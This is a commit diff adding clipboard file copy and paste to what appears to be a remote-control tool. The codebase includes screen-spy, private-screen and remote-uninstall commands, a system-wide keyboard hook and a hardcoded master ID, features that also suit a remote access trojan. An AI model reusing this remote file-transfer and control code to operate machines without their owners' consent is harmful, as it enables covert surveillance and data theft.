Feature: File copy/paste support in remote control

This commit is contained in:
yuanyuanxiang
2025-10-25 16:13:18 +08:00
parent 2855af1932
commit ea4472445d
23 changed files with 339 additions and 24 deletions

View File

@@ -42,6 +42,8 @@
#include "CWalletDlg.h"
#include <wallet.h>
#include "CRcEditDlg.h"
#include <thread>
#include "common/file_upload.h"
#ifdef _DEBUG
#define new DEBUG_NEW
@@ -262,8 +264,7 @@ DllInfo* ReadPluginDll(const std::string& filename)
int offset = MemoryFind((char*)dllData, masterHash.c_str(), fileSize, masterHash.length());
if (offset != -1) {
std::string masterId = GetPwdHash(), hmac = GetHMAC();
if(hmac.empty())
hmac = THIS_CFG.GetStr("settings", "HMAC");
memcpy((char*)dllData + offset, masterId.c_str(), masterId.length());
memcpy((char*)dllData + offset + masterId.length(), hmac.c_str(), hmac.length());
}
@@ -964,7 +965,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
{
AUTO_TICK(500);
CDialogEx::OnInitDialog();
int ret = InitFileUpload(GetHMAC());
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0);
m_GroupList = {"default"};
@@ -1384,6 +1385,7 @@ void CMy2015RemoteDlg::OnClose()
void CMy2015RemoteDlg::Release()
{
Mprintf("======> Release\n");
UninitFileUpload();
DeletePopupWindow();
isClosed = TRUE;
m_frpStatus = STATUS_EXIT;
@@ -2050,6 +2052,30 @@ std::string getDateStr(int daysOffset = 0)
return oss.str();
}
bool SendData(void* user, FileChunkPacket* chunk, BYTE* data, int size) {
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user;
if (!ctx->Send2Client(data, size)) {
return false;
}
return true;
}
void RecvData(void* ptr) {
FileChunkPacket* pkt = (FileChunkPacket*)ptr;
}
void delay_cancel(CONTEXT_OBJECT* ctx, int sec) {
if (!ctx) return;
Sleep(sec*1000);
ctx->CancelIO();
}
void FinishSend(void* user) {
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)user;
// 需要等待客户端接收完成方可关闭
std::thread(delay_cancel, ctx, 15).detach();
}
VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
{
if (isClosed) {
@@ -2057,10 +2083,33 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
}
clock_t tick = clock();
unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0);
LPBYTE szBuffer = ContextObject->InDeCompressedBuffer.GetBuffer();
unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen();
// 【L】主机上下线和授权
// 【x】对话框相关功能
switch (cmd) {
case COMMAND_GET_FILE: {
// 发送文件
auto files = GetClipboardFiles();
if (!files.empty()) {
std::string dir = (char*)(szBuffer + 1);
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
std::thread(FileBatchTransferWorker, files, dir, ContextObject, SendData, FinishSend,
hash, hmac).detach();
}
break;
}
case COMMAND_SEND_FILE: {
// 接收文件
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
CONNECT_ADDRESS addr;
memcpy(addr.pwdHash, hash.c_str(), min(hash.length(), sizeof(addr.pwdHash)));
int n = RecvFileChunk((char*)szBuffer, len, &addr, RecvData, hash, hmac);
if (n) {
Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, hash.c_str(), hmac.c_str());
}
break;
}
case TOKEN_GETVERSION: { // 获取版本【L】
// TODO 维持心跳
bool is64Bit = ContextObject->InDeCompressedBuffer.GetBYTE(1);
@@ -3329,8 +3378,7 @@ void CMy2015RemoteDlg::OnOnlineUninstall()
void CMy2015RemoteDlg::OnOnlinePrivateScreen()
{
std::string masterId = GetPwdHash(), hmac = GetHMAC();
if (hmac.empty())
hmac = THIS_CFG.GetStr("settings", "HMAC");
BYTE bToken[101] = { TOKEN_PRIVATESCREEN };
memcpy(bToken + 1, masterId.c_str(), masterId.length());
memcpy(bToken + 1 + masterId.length(), hmac.c_str(), hmac.length());
@@ -3536,21 +3584,45 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
{
if (dlg == operateWnd)break;
// [1] 本地 -> 远程
CString strText = GetClipboardText();
if (!strText.IsEmpty()) {
BYTE* szBuffer = new BYTE[strText.GetLength() + 1];
szBuffer[0] = COMMAND_SCREEN_SET_CLIPBOARD;
memcpy(szBuffer + 1, strText.GetString(), strText.GetLength());
dlg->m_ContextObject->Send2Client(szBuffer, strText.GetLength() + 1);
Mprintf("【Ctrl+V】 从本地拷贝到远程 \n");
SAFE_DELETE_ARRAY(szBuffer);
auto files = GetClipboardFiles();
if (!files.empty())
{
// 获取远程目录
BYTE szBuffer[100] = { COMMAND_GET_FOLDER };
std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
memcpy((char*)szBuffer + 1, masterId.c_str(), masterId.length());
memcpy((char*)szBuffer + 1 + masterId.length(), hmac.c_str(), hmac.length());
dlg->m_ContextObject->Send2Client(szBuffer, sizeof(szBuffer));
}
else
{
CString strText = GetClipboardText();
if (!strText.IsEmpty()) {
BYTE* szBuffer = new BYTE[strText.GetLength() + 1];
szBuffer[0] = COMMAND_SCREEN_SET_CLIPBOARD;
memcpy(szBuffer + 1, strText.GetString(), strText.GetLength());
dlg->m_ContextObject->Send2Client(szBuffer, strText.GetLength() + 1);
Mprintf("【Ctrl+V】 从本地拷贝到远程 \n");
SAFE_DELETE_ARRAY(szBuffer);
}
}
}
else if (g_2015RemoteDlg->m_pActiveSession)
{
// [2] 远程 -> 本地
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
g_2015RemoteDlg->m_pActiveSession->m_ContextObject->Send2Client(&bToken, sizeof(bToken));
BYTE bToken[100] = {COMMAND_SCREEN_GET_CLIPBOARD};
std::string masterId = GetPwdHash(), hmac = GetHMAC(100);
memcpy((char*)bToken + 1, masterId.c_str(), masterId.length());
memcpy((char*)bToken + 1 + masterId.length(), hmac.c_str(), hmac.length());
auto files = GetClipboardFiles();
if (!files.empty()) {
if (::OpenClipboard(nullptr))
{
EmptyClipboard();
CloseClipboard();
}
}
g_2015RemoteDlg->m_pActiveSession->m_ContextObject->Send2Client(bToken, sizeof(bToken));
Mprintf("【Ctrl+V】 从远程拷贝到本地 \n");
}
else

View File

@@ -256,6 +256,7 @@
<ClInclude Include="..\..\client\MemoryModule.h" />
<ClInclude Include="..\..\common\aes.h" />
<ClInclude Include="..\..\common\encrypt.h" />
<ClInclude Include="..\..\common\file_upload.h" />
<ClInclude Include="..\..\common\ikcp.h" />
<ClInclude Include="..\..\common\iniFile.h" />
<ClInclude Include="..\..\common\obfs.h" />

View File

@@ -123,6 +123,7 @@
<ClInclude Include="CWalletDlg.h" />
<ClInclude Include="CRcEditDlg.h" />
<ClInclude Include="..\..\common\obfs.h" />
<ClInclude Include="..\..\common\file_upload.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="2015Remote.rc" />

View File

@@ -18,7 +18,7 @@ char g_MasterID[_MAX_PATH] = { "61f04dd637a74ee34493fc1025de2c131022536da751c29
std::string GetPwdHash()
{
static auto id = std::string(g_MasterID).substr(0, 64);
auto id = std::string(g_MasterID).substr(0, 64);
return id;
}
@@ -29,14 +29,17 @@ const Validation * GetValidation(int offset)
std::string GetMasterId()
{
static auto id = std::string(g_MasterID).substr(0, 16);
auto id = std::string(g_MasterID).substr(0, 16);
return id;
}
std::string GetHMAC(int offset)
{
const Validation * v= (Validation*)(g_MasterID + offset);
return v->Checksum;
std::string hmac = v->Checksum;
if (hmac.empty())
hmac = THIS_CFG.GetStr("settings", "HMAC");
return hmac;
}
extern "C" void shrink64to32(const char* input64, char* output32); // output32 必须至少 33 字节

View File

@@ -309,7 +309,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
if ( !bOk && dwIOError != WAIT_TIMEOUT ) { //<2F><><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>׻<EFBFBD><D7BB>Ʒ<EFBFBD><C6B7><EFBFBD><EFBFBD>˹ر<CBB9>
if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0) {
ContextObject->olps = NULL;
Mprintf("!!! RemoveStaleContext \n");
Mprintf("!!! RemoveStaleContext: %d \n", WSAGetLastError());
This->RemoveStaleContext(ContextObject);
}
SAFE_DELETE(OverlappedPlus);

View File

@@ -9,6 +9,7 @@
#include <WinUser.h>
#include "CGridDialog.h"
#include "2015RemoteDlg.h"
#include <file_upload.h>
// CScreenSpyDlg 对话框
@@ -29,6 +30,29 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
#define ALGORITHM_DIFF 1
#ifdef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "FileUpload_Libx64d.lib")
#pragma comment(lib, "PrivateDesktop_Libx64d.lib")
#else
#pragma comment(lib, "FileUpload_Libx64.lib")
#pragma comment(lib, "PrivateDesktop_Libx64.lib")
#endif
#else
int InitFileUpload(const std::string hmac, int chunkSizeKb, int sendDurationMs) { return 0; }
int UninitFileUpload() { return 0; }
std::vector<std::string> GetClipboardFiles() { return{}; }
bool GetCurrentFolderPath(std::string& outDir) { return false; }
int FileBatchTransferWorker(const std::vector<std::string>& files, const std::string& targetDir,
void* user, OnTransform f, OnFinish finish, const std::string& hash, const std::string& hmac) {
finish(user);
return 0;
}
int RecvFileChunk(char* buf, size_t len, void* user, OnFinish f, const std::string& hash, const std::string& hmac) {
return 0;
}
#endif
extern "C" void* x265_api_get_192()
{
return nullptr;
@@ -233,12 +257,23 @@ VOID CScreenSpyDlg::OnClose()
DialogBase::OnClose();
}
VOID CScreenSpyDlg::OnReceiveComplete()
{
assert (m_ContextObject);
auto cmd = m_ContextObject->InDeCompressedBuffer.GetBYTE(0);
LPBYTE szBuffer = m_ContextObject->InDeCompressedBuffer.GetBuffer();
unsigned len = m_ContextObject->InDeCompressedBuffer.GetBufferLen();
switch(cmd) {
case COMMAND_GET_FOLDER: {
std::string folder;
if (GetCurrentFolderPath(folder)) {
// 发送目录并准备接收文件
BYTE cmd[300] = { COMMAND_GET_FILE };
memcpy(cmd + 1, folder.c_str(), folder.length());
m_ContextObject->Send2Client(cmd, sizeof(cmd));
}
break;
}
case TOKEN_FIRSTSCREEN: {
DrawFirstScreen();
break;